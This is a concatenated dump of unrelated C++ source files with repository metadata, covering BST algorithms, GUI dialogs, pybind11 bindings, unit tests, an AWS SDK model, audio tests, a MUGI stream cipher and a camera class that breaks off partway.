2018-07-28T06:03:16.000Z
|
#include "KthSmallestElementInABST.hpp"
#include <stack>
using namespace std;
int KthSmallestElementInABST::kthSmallest(TreeNode *root, int k) {
return kthSmallestRecursive(root, k);
}
int KthSmallestElementInABST::kthSmallestBinarySearch(TreeNode *root, int k) {
int n = countNodes(root->left);
if (k <= n)
return kthSmallestBinarySearch(root->left, k);
else if (k > n + 1)
return kthSmallestBinarySearch(root->right, k - n - 1);
return root->val;
}
int KthSmallestElementInABST::countNodes(TreeNode *root) {
if (root == nullptr)
return 0;
return 1 + countNodes(root->left) + countNodes(root->right);
}
int KthSmallestElementInABST::kthSmallestIterative(TreeNode *root, int k) {
stack<TreeNode *> s;
TreeNode *cur = root;
while (!s.empty() || cur) {
if (cur) {
s.push(cur);
cur = cur->left;
} else {
cur = s.top();
s.pop();
k--;
if (k == 0) return cur->val;
cur = cur->right;
}
}
return -1;
}
int KthSmallestElementInABST::kthSmallestRecursive(TreeNode *root, int k) {
int ret = 0;
kthSmallestRecursive_helper(root, k, ret);
return ret;
}
void KthSmallestElementInABST::kthSmallestRecursive_helper(TreeNode *root, int &k, int &ret) {
if (root->left) kthSmallestRecursive_helper(root->left, k, ret);
k--;
if (k == 0) {
ret = root->val;
return;
}
if (root->right) kthSmallestRecursive_helper(root->right, k, ret);
}
| 24.68254
| 94
| 0.607717
|
yanzhe-chen
|
1560267c0994b59b55989bff706b1eb9fbdaaa4f
| 343
|
cpp
|
C++
|
_code/pack-indexing/benchmark_1.erb.cpp
|
ldionne/ldionne.github.io
|
9391dd54f00bd61046d60dbfeab31b13e8803d43
|
[
"MIT"
] | null | null | null |
_code/pack-indexing/benchmark_1.erb.cpp
|
ldionne/ldionne.github.io
|
9391dd54f00bd61046d60dbfeab31b13e8803d43
|
[
"MIT"
] | null | null | null |
_code/pack-indexing/benchmark_1.erb.cpp
|
ldionne/ldionne.github.io
|
9391dd54f00bd61046d60dbfeab31b13e8803d43
|
[
"MIT"
] | null | null | null |
// Copyright Louis Dionne 2015
// Distributed under the Boost Software License, Version 1.0.
#include <cstddef>
#include <tuple>
#include <utility>
#include "<%= header %>"
<% (0..input_size-1).each do |n| %>
using T_<%= n %> = nth_element<
<%= n %>,
<%= (1..input_size).map { |i| "int" }.join(', ') %>
>;
<% end %>
| 21.4375
| 61
| 0.55102
|
ldionne
|
1565deb91bc1982bd223bb56933b1b9c4ef510ca
| 2,438
|
cpp
|
C++
|
src/utilities_gui/dlgDeviceInfo.cpp
|
bastille-attic/LimeSuite
|
761805c75b1ae1e0ec9b8c6c182ebd058a088ab8
|
[
"Apache-2.0"
] | null | null | null |
src/utilities_gui/dlgDeviceInfo.cpp
|
bastille-attic/LimeSuite
|
761805c75b1ae1e0ec9b8c6c182ebd058a088ab8
|
[
"Apache-2.0"
] | null | null | null |
src/utilities_gui/dlgDeviceInfo.cpp
|
bastille-attic/LimeSuite
|
761805c75b1ae1e0ec9b8c6c182ebd058a088ab8
|
[
"Apache-2.0"
] | null | null | null |
#include "dlgDeviceInfo.h"
#include "IConnection.h"
using namespace lime;
dlgDeviceInfo::dlgDeviceInfo(wxWindow* parent, wxWindowID id, const wxString &title, const wxPoint& pos, const wxSize& size, long styles)
:
dlgDeviceInfo_view( parent, id, title, pos, size, styles)
{
ctrPort = nullptr;
dataPort = nullptr;
}
void dlgDeviceInfo::Initialize(IConnection* pCtrPort, IConnection* pDataPort)
{
ctrPort = pCtrPort;
dataPort = pDataPort;
}
void dlgDeviceInfo::OnGetInfo( wxCommandEvent& event )
{
if (ctrPort != nullptr && ctrPort->IsOpen() == true)
{
auto info = ctrPort->GetDeviceInfo();
lblDeviceCtr->SetLabel(info.deviceName);
lblExpansionCtr->SetLabel(info.expansionName);
lblFirmwareCtr->SetLabel(info.firmwareVersion);
lblHardwareCtr->SetLabel(info.hardwareVersion);
lblProtocolCtr->SetLabel(info.protocolVersion);
lblGatewareCtr->SetLabel(info.gatewareVersion);
lblGatewareRevCtr->SetLabel(info.gatewareRevision);
lblGatewareTargetCtr->SetLabel(info.gatewareTargetBoard);
}
else
{
lblDeviceCtr->SetLabel(_("???"));
lblExpansionCtr->SetLabel(_("???"));
lblFirmwareCtr->SetLabel(_("???"));
lblHardwareCtr->SetLabel(_("???"));
lblProtocolCtr->SetLabel(_("???"));
lblGatewareCtr->SetLabel(_("???"));
lblGatewareRevCtr->SetLabel(_("???"));
lblGatewareTargetCtr->SetLabel(_("???"));
}
if (dataPort != nullptr && dataPort->IsOpen() == true)
{
auto info = dataPort->GetDeviceInfo();
lblDeviceData->SetLabel(info.deviceName);
lblExpansionData->SetLabel(info.expansionName);
lblFirmwareData->SetLabel(info.firmwareVersion);
lblHardwareData->SetLabel(info.hardwareVersion);
lblProtocolData->SetLabel(info.protocolVersion);
lblGatewareData->SetLabel(info.gatewareVersion);
lblGatewareRevData->SetLabel(info.gatewareRevision);
lblGatewareTargetData->SetLabel(info.gatewareTargetBoard);
}
else
{
lblDeviceData->SetLabel(_("???"));
lblExpansionData->SetLabel(_("???"));
lblFirmwareData->SetLabel(_("???"));
lblHardwareData->SetLabel(_("???"));
lblProtocolData->SetLabel(_("???"));
lblGatewareData->SetLabel(_("???"));
lblGatewareRevData->SetLabel(_("???"));
lblGatewareTargetData->SetLabel(_("???"));
}
}
| 34.828571
| 137
| 0.650123
|
bastille-attic
|
15666c1629f120c191effc359b9b9077625f9551
| 800
|
hpp
|
C++
|
src/Animation.hpp
|
darkbitsorg/db-08_green_grappler
|
f009228edb2eb1a943ab6d5801a78a5d00ac9e43
|
[
"BSD-2-Clause-NetBSD",
"BSD-2-Clause",
"BSD-3-Clause"
] | 1
|
2018-06-12T13:35:31.000Z
|
2018-06-12T13:35:31.000Z
|
src/Animation.hpp
|
darkbitsorg/db-08_green_grappler
|
f009228edb2eb1a943ab6d5801a78a5d00ac9e43
|
[
"BSD-2-Clause-NetBSD",
"BSD-2-Clause",
"BSD-3-Clause"
] | null | null | null |
src/Animation.hpp
|
darkbitsorg/db-08_green_grappler
|
f009228edb2eb1a943ab6d5801a78a5d00ac9e43
|
[
"BSD-2-Clause-NetBSD",
"BSD-2-Clause",
"BSD-3-Clause"
] | null | null | null |
#pragma once
#include "Blending.hpp"
class Animation
{
public:
Animation(const std::string& aFilename);
Animation(const std::string& aFilename, int aNumberOfFrames);
~Animation();
BITMAP *getFrame(int aFrame) const;
int getFrameCount() const;
int getFrameWidth() const;
int getFrameHeight() const;
void drawFrame(BITMAP *aBuffer, int aFrame, int aX, int aY, bool aHFlip = false, bool aVFlip = false, Blending aBlending = Blending_None) const;
//void drawFrame(BITMAP *dest, int frame, int x, int y, bool aHFlip, int aFillColor) const;
void drawRotatedFrame(BITMAP *aBuffer, int aFrame, int aX, int aY, int aAngle, bool aVFlip = false) const;
protected:
void privFillFramesList(BITMAP *aAllFrames, int aCount);
int myFrameWidth;
int myFrameHeight;
std::vector<BITMAP *> myFrames;
};
| 30.769231
| 145
| 0.74875
|
darkbitsorg
|
d07e1c8ebab0aaa06780ab9769ca1e6429b57c7a
| 3,831
|
cpp
|
C++
|
test/test_service_script_runner.cpp
|
ProjectDecibel/open_sysadmin
|
beee92e72a0c3afa3aeb396855aa42c96e8989a8
|
[
"Apache-2.0"
] | 14
|
2017-05-31T19:38:25.000Z
|
2022-01-19T20:56:32.000Z
|
test/test_service_script_runner.cpp
|
ProjectDecibel/open_sysadmin
|
beee92e72a0c3afa3aeb396855aa42c96e8989a8
|
[
"Apache-2.0"
] | 26
|
2017-06-07T14:05:07.000Z
|
2020-01-29T20:06:34.000Z
|
test/test_service_script_runner.cpp
|
ProjectDecibel/open_sysadmin
|
beee92e72a0c3afa3aeb396855aa42c96e8989a8
|
[
"Apache-2.0"
] | 9
|
2017-05-31T21:09:59.000Z
|
2021-05-14T15:11:18.000Z
|
#include <gtest/gtest.h>
#include <gmock/gmock.h>
#include <log4cxx/logger.h>
#include <fstream>
#include <string>
#include "ServiceScriptRunner.h"
#include "decibel/messaging/Reactor.h"
namespace dm = decibel::messaging;
namespace
{
log4cxx::LoggerPtr spLogger(log4cxx::Logger::getLogger("test_service_script_runner"));
}
TEST(ServiceScriptRunnering, Basic)
{
dm::Reactor r;
ServiceScriptRunner runner(&r, {"./argdumper.py"});
int calledback = 0;
runner.Run({"key", "key2", "key3"}).thenValue([&r, &calledback](auto /*unused*/)
{
calledback++;
r.Stop();
}).thenError(
folly::tag_t<ExternalRunnerError>{},
[](const auto&)
{
FAIL() << "Should not have errored out";
});
r.Start();
ASSERT_EQ(1, calledback);
}
TEST(ServiceScriptRunnering, ActualOutput)
{
dm::Reactor r;
ServiceScriptRunner runner(&r, {"./argdumper.py"});
int calledback = 0;
runner.Run({"key", "key2", "key3"}).thenValue([&r, &calledback](auto /*unused*/)
{
calledback++;
r.Stop();
}).thenError(
folly::tag_t<ExternalRunnerError>{},
[](const auto&)
{
FAIL() << "Should not have errored out";
});
r.Start();
ASSERT_EQ(1, calledback);
std::ifstream ifs("argdumper");
std::string content((std::istreambuf_iterator<char>(ifs)),
(std::istreambuf_iterator<char>()));
ASSERT_STREQ("key key2 key3\n", content.c_str());
}
TEST(ServiceScriptRunnering, WithServiceArgs)
{
dm::Reactor r;
ServiceScriptRunner runner(&r, {"./argdumper.py", "key0", "more", "args"});
int calledback = 0;
runner.Run({}).thenValue([&r, &calledback](auto /*unused*/)
{
calledback++;
r.Stop();
}).thenError(
folly::tag_t<ExternalRunnerError>{},
[](const auto&)
{
FAIL() << "Should not have errored out";
});
r.Start();
ASSERT_EQ(1, calledback);
std::ifstream ifs("argdumper");
std::string content((std::istreambuf_iterator<char>(ifs)),
(std::istreambuf_iterator<char>()));
ASSERT_STREQ("key0 more args\n", content.c_str());
}
TEST(ServiceScriptRunnering, FailedOutput)
{
dm::Reactor r;
ServiceScriptRunner runner(&r, {"./argdumper.py"});
int calledback = 0;
// argdumper knows to exit with a bad status when receiving "failme" as it's first argument
runner.Run({"failme", "key2", "key3"}).thenValue([](auto /*unused*/)
{
FAIL() << "Should have errored out";
}).thenError(
folly::tag_t<ExternalRunnerError>{},
[&r, &calledback](const auto&)
{
calledback++;
r.Stop();
});
r.Start();
ASSERT_EQ(1, calledback);
}
TEST(ServiceScriptRunnering, Detaching)
{
dm::Reactor r;
ServiceScriptRunner runner(&r, {"./argdumper.py"}, HookOptions::RunOptions::DETACH);
int calledback = 0;
runner.Run({"key", "key2", "key3"}).thenValue([&r, &calledback](auto /*unused*/)
{
calledback++;
r.Stop();
}).thenError(
folly::tag_t<ExternalRunnerError>{},
[](const auto&)
{
FAIL() << "Should not have errored out";
});
r.Start();
ASSERT_EQ(1, calledback);
}
TEST(ServiceScriptRunnering, Ignoring)
{
dm::Reactor r;
ServiceScriptRunner runner(&r, {"./argdumper.py"}, HookOptions::RunOptions::IGNORE);
int calledback = 0;
runner.Run({"failme", "key2", "key3"}).thenValue([&r, &calledback](auto /*unused*/)
{
calledback++;
r.Stop();
}).thenError(
folly::tag_t<ExternalRunnerError>{},
[](const auto&)
{
FAIL() << "Should not have errored out";
});
r.Start();
ASSERT_EQ(1, calledback);
}
| 27.170213
| 95
| 0.577656
|
ProjectDecibel
|
d0845ae57df5832bf5abee62d80c587935440cdd
| 842
|
hpp
|
C++
|
src/PyOmega_h.hpp
|
overfelt/omega_h
|
dfc19cc3ea0e183692ca6c548dda39f7892301b5
|
[
"BSD-2-Clause-FreeBSD"
] | null | null | null |
src/PyOmega_h.hpp
|
overfelt/omega_h
|
dfc19cc3ea0e183692ca6c548dda39f7892301b5
|
[
"BSD-2-Clause-FreeBSD"
] | null | null | null |
src/PyOmega_h.hpp
|
overfelt/omega_h
|
dfc19cc3ea0e183692ca6c548dda39f7892301b5
|
[
"BSD-2-Clause-FreeBSD"
] | null | null | null |
#ifndef OMEGA_H_PY_HPP
#define OMEGA_H_PY_HPP
#include <Omega_h_config.h>
#ifdef __GNUC__
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wshadow"
#endif
#include <pybind11/pybind11.h>
#ifdef __GNUC__
#pragma GCC diagnostic pop
#endif
namespace py = pybind11;
namespace Omega_h {
class Library;
extern std::unique_ptr<Library> pybind11_global_library;
void pybind11_c(py::module& module);
void pybind11_array(py::module& module);
void pybind11_comm(py::module& module);
void pybind11_library(py::module& module);
void pybind11_mesh(py::module& module);
void pybind11_build(py::module& module);
void pybind11_adapt(py::module& module);
void pybind11_file(py::module& module);
void pybind11_class(py::module& module);
#ifdef OMEGA_H_USE_DOLFIN
void pybind11_dolfin(py::module& module);
#endif
} // namespace Omega_h
#endif
| 22.756757
| 56
| 0.785036
|
overfelt
|
d08693adac956c086209f971c0833bea9b328291
| 709
|
cpp
|
C++
|
C++Codes/Reverse Stack.cpp
|
aardhyakumar/Hacktoberfest-20
|
20ae70f8b55cfe3130f16fa5a6b14996b6bb5f27
|
[
"MIT"
] | 4
|
2020-10-16T05:53:21.000Z
|
2020-10-18T13:31:31.000Z
|
C++Codes/Reverse Stack.cpp
|
aardhyakumar/Hacktoberfest-20
|
20ae70f8b55cfe3130f16fa5a6b14996b6bb5f27
|
[
"MIT"
] | 5
|
2020-09-20T14:46:05.000Z
|
2021-10-09T16:40:55.000Z
|
C++Codes/Reverse Stack.cpp
|
aardhyakumar/Hacktoberfest-20
|
20ae70f8b55cfe3130f16fa5a6b14996b6bb5f27
|
[
"MIT"
] | 16
|
2020-10-16T05:53:24.000Z
|
2021-10-16T18:38:23.000Z
|
//C++ Program to reverse a stack without recursion
#include<bits/stdc++.h>
using namespace std;
void insertatbottom (stack<int> &st,int ele){
if(st.empty()){
st.push(ele);
return;
}
int topele=st.top();
st.pop();
insertatbottom(st,ele);
st.push(topele);
}
void reverse(stack <int> &st){
if(st.empty()){
return ;
}
int ele=st.top();
st.pop();
reverse(st);
insertatbottom(st,ele);
}
int main(){
stack<int> st;
int n;
cin>>n;
for(int i=0;i<n;i++){
int x;
cin>>x;
st.push(x);
}
reverse(st);
while(!st.empty()){
cout<<st.top()<<endl;
st.pop();
}
return 0;
}
| 14.770833
| 50
| 0.503526
|
aardhyakumar
|
d08b8e2a8ad801809986736704fa00845719af08
| 651
|
cpp
|
C++
|
EU4toV2/Source/Mappers/FlagColorMapper.cpp
|
Clonefusion/EU4toVic2
|
d39157b8317152da4ca138a69d78b6335bb27eb3
|
[
"MIT"
] | 2
|
2020-01-02T16:07:51.000Z
|
2020-01-12T17:55:13.000Z
|
EU4toV2/Source/Mappers/FlagColorMapper.cpp
|
Clonefusion/EU4toVic2
|
d39157b8317152da4ca138a69d78b6335bb27eb3
|
[
"MIT"
] | 3
|
2020-01-12T19:44:56.000Z
|
2020-01-17T05:40:41.000Z
|
EU4toV2/Source/Mappers/FlagColorMapper.cpp
|
Clonefusion/EU4toVic2
|
d39157b8317152da4ca138a69d78b6335bb27eb3
|
[
"MIT"
] | 1
|
2020-01-12T17:55:40.000Z
|
2020-01-12T17:55:40.000Z
|
#include "FlagColorMapper.h"
#include "ParserHelpers.h"
mappers::FlagColorMapper::FlagColorMapper(std::istream& theStream)
{
registerKeyword(std::regex("flag_color"), [this](const std::string& sourceGov, std::istream& theStream)
{
commonItems::Color theColor(theStream);
flagColorMapping.push_back(theColor);
});
registerKeyword(std::regex("[a-z0-9\\_]+"), commonItems::ignoreItem);
parseStream(theStream);
}
std::optional<commonItems::Color> mappers::FlagColorMapper::getFlagColorByIndex(int index) const
{
if ((flagColorMapping.empty()) || (index >= flagColorMapping.size())) return std::nullopt;
return flagColorMapping[index];
}
| 29.590909
| 104
| 0.746544
|
Clonefusion
|
d09b53ec757d32a45deced598650f5491bba8ebc
| 1,777
|
cpp
|
C++
|
aws-cpp-sdk-inspector2/source/model/FreeTrialInfoError.cpp
|
perfectrecall/aws-sdk-cpp
|
fb8cbebf2fd62720b65aeff841ad2950e73d8ebd
|
[
"Apache-2.0"
] | 1
|
2022-02-10T08:06:54.000Z
|
2022-02-10T08:06:54.000Z
|
aws-cpp-sdk-inspector2/source/model/FreeTrialInfoError.cpp
|
perfectrecall/aws-sdk-cpp
|
fb8cbebf2fd62720b65aeff841ad2950e73d8ebd
|
[
"Apache-2.0"
] | 1
|
2022-01-03T23:59:37.000Z
|
2022-01-03T23:59:37.000Z
|
aws-cpp-sdk-inspector2/source/model/FreeTrialInfoError.cpp
|
ravindra-wagh/aws-sdk-cpp
|
7d5ff01b3c3b872f31ca98fb4ce868cd01e97696
|
[
"Apache-2.0"
] | 1
|
2021-11-09T12:02:58.000Z
|
2021-11-09T12:02:58.000Z
|
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/inspector2/model/FreeTrialInfoError.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <utility>
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
namespace Aws
{
namespace Inspector2
{
namespace Model
{
FreeTrialInfoError::FreeTrialInfoError() :
m_accountIdHasBeenSet(false),
m_code(FreeTrialInfoErrorCode::NOT_SET),
m_codeHasBeenSet(false),
m_messageHasBeenSet(false)
{
}
FreeTrialInfoError::FreeTrialInfoError(JsonView jsonValue) :
m_accountIdHasBeenSet(false),
m_code(FreeTrialInfoErrorCode::NOT_SET),
m_codeHasBeenSet(false),
m_messageHasBeenSet(false)
{
*this = jsonValue;
}
FreeTrialInfoError& FreeTrialInfoError::operator =(JsonView jsonValue)
{
if(jsonValue.ValueExists("accountId"))
{
m_accountId = jsonValue.GetString("accountId");
m_accountIdHasBeenSet = true;
}
if(jsonValue.ValueExists("code"))
{
m_code = FreeTrialInfoErrorCodeMapper::GetFreeTrialInfoErrorCodeForName(jsonValue.GetString("code"));
m_codeHasBeenSet = true;
}
if(jsonValue.ValueExists("message"))
{
m_message = jsonValue.GetString("message");
m_messageHasBeenSet = true;
}
return *this;
}
JsonValue FreeTrialInfoError::Jsonize() const
{
JsonValue payload;
if(m_accountIdHasBeenSet)
{
payload.WithString("accountId", m_accountId);
}
if(m_codeHasBeenSet)
{
payload.WithString("code", FreeTrialInfoErrorCodeMapper::GetNameForFreeTrialInfoErrorCode(m_code));
}
if(m_messageHasBeenSet)
{
payload.WithString("message", m_message);
}
return payload;
}
} // namespace Model
} // namespace Inspector2
} // namespace Aws
| 19.527473
| 105
| 0.732696
|
perfectrecall
|
d09e5531a56c0a361bfc05b6729b921e25a84cc6
| 2,515
|
cpp
|
C++
|
tests/android/app/src/main/cpp/miniaudio_async_test.cpp
|
ondesly/audio_engine
|
37e68f9e5be3f36b77aac6574e90d2150aef0f6d
|
[
"BSD-2-Clause"
] | null | null | null |
tests/android/app/src/main/cpp/miniaudio_async_test.cpp
|
ondesly/audio_engine
|
37e68f9e5be3f36b77aac6574e90d2150aef0f6d
|
[
"BSD-2-Clause"
] | null | null | null |
tests/android/app/src/main/cpp/miniaudio_async_test.cpp
|
ondesly/audio_engine
|
37e68f9e5be3f36b77aac6574e90d2150aef0f6d
|
[
"BSD-2-Clause"
] | null | null | null |
//
// miniaudio_async_test.cpp
// audio_engine
//
// Created by Dmitrii Torkhov <dmitriitorkhov@gmail.com> on 03.09.2021.
// Copyright © 2021 Dmitrii Torkhov. All rights reserved.
//
#include <iostream>
#include <miniaudio.h>
#include "miniaudio_async_test.h"
oo::audio::miniaudio_async_test::miniaudio_async_test() {
m_service_thread = std::make_unique<std::thread>([&]() {
ma_device_config device_config;
device_config = ma_device_config_init(ma_device_type_playback);
device_config.playback.format = ma_format_f32;
device_config.playback.channels = 2;
device_config.sampleRate = 44100;
device_config.dataCallback = [](ma_device *device, void *output,
const void *,
ma_uint32 frame_count) {
std::cout << "callback" << std::endl;
};
ma_device device;
auto result = ma_device_init(nullptr, &device_config, &device);
if (result != MA_SUCCESS) {
return;
}
char command;
while (true) {
if (m_queue.pop(command)) {
switch (command) {
case 'a':
result = ma_device_start(&device);
if (result != MA_SUCCESS) {
return;
}
break;
case 'o':
result = ma_device_stop(&device);
if (result != MA_SUCCESS) {
return;
}
break;
default:
break;
}
} else {
std::unique_lock<std::mutex> lock(m_mutex);
if (m_is_done) {
break;
} else {
using namespace std::chrono_literals;
m_condition.wait_for(lock, 100ms);
}
}
}
ma_device_uninit(&device);
});
}
oo::audio::miniaudio_async_test::~miniaudio_async_test() {
{
std::lock_guard<std::mutex> lock(m_mutex);
m_is_done = true;
m_condition.notify_all();
}
m_service_thread->join();
}
void oo::audio::miniaudio_async_test::start() {
m_queue.push('a');
m_condition.notify_one();
}
void oo::audio::miniaudio_async_test::stop() {
m_queue.push('o');
m_condition.notify_one();
}
| 28.908046
| 72
| 0.496223
|
ondesly
|
d0a2185b3868089cf0490fa9942ed3649c49d8d9
| 3,749
|
hpp
|
C++
|
include/ouchilib/crypto/algorithm/mugi.hpp
|
ouchiminh/ouchilib
|
de1bab0aa75c9e567ce06d76c95bc330dffbf52e
|
[
"MIT"
] | 1
|
2019-06-11T05:22:54.000Z
|
2019-06-11T05:22:54.000Z
|
include/ouchilib/crypto/algorithm/mugi.hpp
|
ouchiminh/ouchilib
|
de1bab0aa75c9e567ce06d76c95bc330dffbf52e
|
[
"MIT"
] | 1
|
2019-10-30T14:33:37.000Z
|
2019-10-31T15:01:09.000Z
|
include/ouchilib/crypto/algorithm/mugi.hpp
|
ouchiminh/ouchilib
|
de1bab0aa75c9e567ce06d76c95bc330dffbf52e
|
[
"MIT"
] | null | null | null |
#pragma once
#include <type_traits>
#include "ouchilib/math/gf.hpp"
#include "ouchilib/math/matrix.hpp"
#include "../common.hpp"
#include "aes.hpp"
namespace ouchi::crypto {
struct mugi {
static constexpr unsigned vec_size = 16;
using result_type = std::uint64_t;
mugi() = default;
mugi(memory_view<vec_size> key, memory_view<vec_size> iv)
: a_{ detail::pack<std::uint64_t>(key.data),
detail::pack<std::uint64_t>(key.data+8),
(rotl(detail::pack<std::uint64_t>(key.data), 7)) ^ (rotr(detail::pack<std::uint64_t>(key.data+8), 7)) ^ c[0] }
, b_{}
{
constexpr std::uint64_t zero[16] = {};
for (auto i = 0u; i < 16; ++i) {
rho(zero);
b_[15-i] = a_[0];
}
a_[0] ^= detail::pack<std::uint64_t>(iv.data);
a_[1] ^= detail::pack<std::uint64_t>(iv.data + 8);
a_[2] ^= rotl(detail::pack<std::uint64_t>(iv.data), 7) ^
rotr(detail::pack<std::uint64_t>(iv.data + 8), 7) ^ c[0];
for (auto i = 0u; i < 16; ++i) rho(zero);
for (auto i = 0u; i < 16; ++i) update();
}
~mugi()
{
secure_memset(a_, 0);
secure_memset(b_, 0);
}
result_type operator()() noexcept
{
auto cp = a_[2];
update();
return cp;
}
void discard(size_t n) noexcept
{
for (auto i = 0ull; i < n; ++i) (void)operator()();
}
private:
std::uint64_t a_[3];
std::uint64_t b_[16];
static constexpr std::uint64_t c[3] = {
0x6A09E667F3BCC908,0xBB67AE8584CAA73B,0x3C6EF372FE94F82B
};
void update() noexcept
{
std::uint64_t at[3] = { a_[0], a_[1], a_[2] };
rho(b_); lambda(at);
}
void rho(const std::uint64_t (&b)[16]) noexcept
{
std::uint64_t a0 = a_[0], a1 = a_[1];
a_[0] = a_[1];
a_[1] = a_[2] ^ F(a_[1], b[4]) ^ c[1];
a_[2] = a0 ^ F(a1, rotl(b[10], 17)) ^ c[2];
}
void lambda(const std::uint64_t (&a)[3]) noexcept
{
std::uint64_t bt[16];
std::memcpy(bt, b_, sizeof(bt));
for (auto i :{ 1,2,3,5,6,7,8,9,11,12,13,14,15 }) {
b_[i] = bt[i - 1];
}
b_[0] = bt[15] ^ a[0];
b_[4] = bt[3] ^ bt[7];
b_[10] = bt[9] ^ rotl(bt[13], 32);
}
std::uint64_t F(std::uint64_t x, std::uint64_t b) const noexcept
{
std::uint8_t o[8] = {};
detail::unpack(x ^ b, o);
for (auto& i : o) { i = (std::uint8_t)aes128::subchar(i); }
std::uint32_t ph = detail::pack<std::uint32_t>(o);
std::uint32_t pl = detail::pack<std::uint32_t>(o + 4);
auto qh = M(ph), ql = M(pl);
return
(((ql >> 24) & 0xFFull) << 56) |
(((ql >> 16) & 0xFFull) << 48) |
(((qh >> 8) & 0xFFull) << 40) |
(((qh >> 0) & 0xFFull) << 32) |
(((qh >> 24) & 0xFFull) << 24) |
(((qh >> 16) & 0xFFull) << 16) |
(((ql >> 8) & 0xFFull) << 8) |
((ql >> 0) & 0xFFull);
}
std::uint32_t M(std::uint32_t x) const noexcept
{
using gf256 = ouchi::math::gf<unsigned char, 0x1b>;
constexpr ouchi::math::fl_matrix<gf256, 4, 4> m{
gf256{0x02},gf256{0x03},gf256{0x01},gf256{0x01},
gf256{0x01},gf256{0x02},gf256{0x03},gf256{0x01},
gf256{0x01},gf256{0x01},gf256{0x02},gf256{0x03},
gf256{0x03},gf256{0x01},gf256{0x01},gf256{0x02}
};
ouchi::math::fl_matrix<gf256, 4, 1> xm({
gf256{(x >> 24)&0xff},
gf256{(x >> 16)&0xff},
gf256{(x >> 8)&0xff},
gf256{(x >> 0)&0xff}
});
auto r = m * xm;
return detail::pack<std::uint32_t>(r.data());
}
};
}
| 32.042735
| 123
| 0.486263
|
ouchiminh
|
d0a23b9cbdba85704b8ff417427ebfafaf0b160e
| 1,289
|
cpp
|
C++
|
may20/pizzav2.cpp
|
HectorFuentes/COP1334C
|
1092278e1c6381d1e49a97a4065f2a2cd8b81e5d
|
[
"MIT"
] | null | null | null |
may20/pizzav2.cpp
|
HectorFuentes/COP1334C
|
1092278e1c6381d1e49a97a4065f2a2cd8b81e5d
|
[
"MIT"
] | null | null | null |
may20/pizzav2.cpp
|
HectorFuentes/COP1334C
|
1092278e1c6381d1e49a97a4065f2a2cd8b81e5d
|
[
"MIT"
] | null | null | null |
/*pizza.cpp
Michelle Levine
May 20, 2015
This program prompts the user for some information about a pizza.
The slice area and cost are calculated and displayed.
*/
//preprocessor directives
#include<iostream>
#include<iomanip>
#include<cmath> //needed for the pow function
using namespace std;
int main()
{
//Declare and initialize variables and constants
float radius = 0.0, pizzaCost = 0.0, pizzaArea = 0.0, sliceCost = 0.0, sliceArea = 0.0;
int numSlices = 0;
const float PI = 3.14;
//Intro
cout<<"WELCOME TO THE BROWARD PIZZERIA!!\n\n";
//Prompt for radius
cout<<"Enter the radius of the pizza(in): ";
cin>>radius;
//Prompt for pizzaCost
cout<<"\nEnter the total cost of the pizza : $";
cin>>pizzaCost;
//Prompt for numSlices
cout<<"\nEnter the number of slices in the pizza: ";
cin>>numSlices;
//Calculate pizzaArea
pizzaArea = PI * pow(radius,2); //radius ^ 2
//Calculate sliceArea
sliceArea = pizzaArea / numSlices;
//Calculate sliceCost
sliceCost = pizzaCost / numSlices;
//Display sliceArea and sliceCost
cout<<"************************************\n";
cout<<fixed<<showpoint<<setprecision(2);
cout<<"\nArea of a single slice of pizza:\t"<<sliceArea<<" sq. in.\n";
cout<<"Cost of a single slice of pizza:\t$"<<sliceCost<<endl;
return 0;
}
| 24.320755
| 88
| 0.683476
|
HectorFuentes
|
d0a7bec7424353250c0310a2f6ab72ef9d35ddb8
| 1,148
|
cpp
|
C++
|
PAT_A/PAT_A1070.cpp
|
EnhydraGod/PATCode
|
ff38ea33ba319af78b3aeba8aa6c385cc5e8329f
|
[
"BSD-2-Clause"
] | 3
|
2019-07-08T05:20:28.000Z
|
2021-09-22T10:53:26.000Z
|
PAT_A/PAT_A1070.cpp
|
EnhydraGod/PATCode
|
ff38ea33ba319af78b3aeba8aa6c385cc5e8329f
|
[
"BSD-2-Clause"
] | null | null | null |
PAT_A/PAT_A1070.cpp
|
EnhydraGod/PATCode
|
ff38ea33ba319af78b3aeba8aa6c385cc5e8329f
|
[
"BSD-2-Clause"
] | null | null | null |
#include <bits/stdc++.h>
using namespace std;
int n, d;
double tempF, profit = 0;
double amounts[1010], prices[1010], pricePerTon[1010];
struct item
{
double amount, prices, pricePerTon;
item(double _amount, double _prices, double _pricePerTon)
{
amount = _amount;
prices = _prices;
pricePerTon = _pricePerTon;
}
};
vector<item> items;
bool cmp(struct item &a, struct item &b) {return a.pricePerTon > b.pricePerTon;}
int main()
{
scanf("%d%d", &n, &d);
for(int i = 0; i < n; i++)
{
scanf("%lf", &tempF);
items.push_back(item(tempF, 0, 0));
}
for (int i = 0; i < n; i++)
{
scanf("%lf", &tempF);
items[i].prices = tempF;
items[i].pricePerTon = tempF / items[i].amount;
}
sort(items.begin(), items.end(), cmp);
for (int i = 0; i < items.size(); i++)
{
if(d <= items[i].amount)
{
profit += items[i].pricePerTon * d;
break;
}
else
{
profit += items[i].prices;
d -= items[i].amount;
}
}
printf("%.2lf\n", profit);
return 0;
}
| 23.428571
| 80
| 0.515679
|
EnhydraGod
|
d0a96743b8e5ec7f9a0fc7cd18b9ece814290561
| 3,283
|
cpp
|
C++
|
src/Camera.cpp
|
hmkum/HMK-OpenGL-Demo
|
254f5814ed1c552dd0ab348cd3ab9332c9d1ef70
|
[
"MIT"
] | null | null | null |
src/Camera.cpp
|
hmkum/HMK-OpenGL-Demo
|
254f5814ed1c552dd0ab348cd3ab9332c9d1ef70
|
[
"MIT"
] | null | null | null |
src/Camera.cpp
|
hmkum/HMK-OpenGL-Demo
|
254f5814ed1c552dd0ab348cd3ab9332c9d1ef70
|
[
"MIT"
] | null | null | null |
#include <cmath>
#include "Camera.h"
#include <thirdparty/glm/gtc/matrix_transform.hpp>
using namespace hmk;
static const float MaxVerticalAngle = 85.0f; //must be less than 90 to avoid gimbal lock
Camera::Camera() :
m_position(0.0f, 0.0f, 1.0f),
m_horizontalAngle(0.0f),
m_verticalAngle(0.0f),
m_fov(50.0f),
m_nearPlane(0.01f),
m_farPlane(100.0f),
m_viewportAspectRatio(4.0f/3.0f)
{
}
const glm::vec3& Camera::getPosition() const
{
return m_position;
}
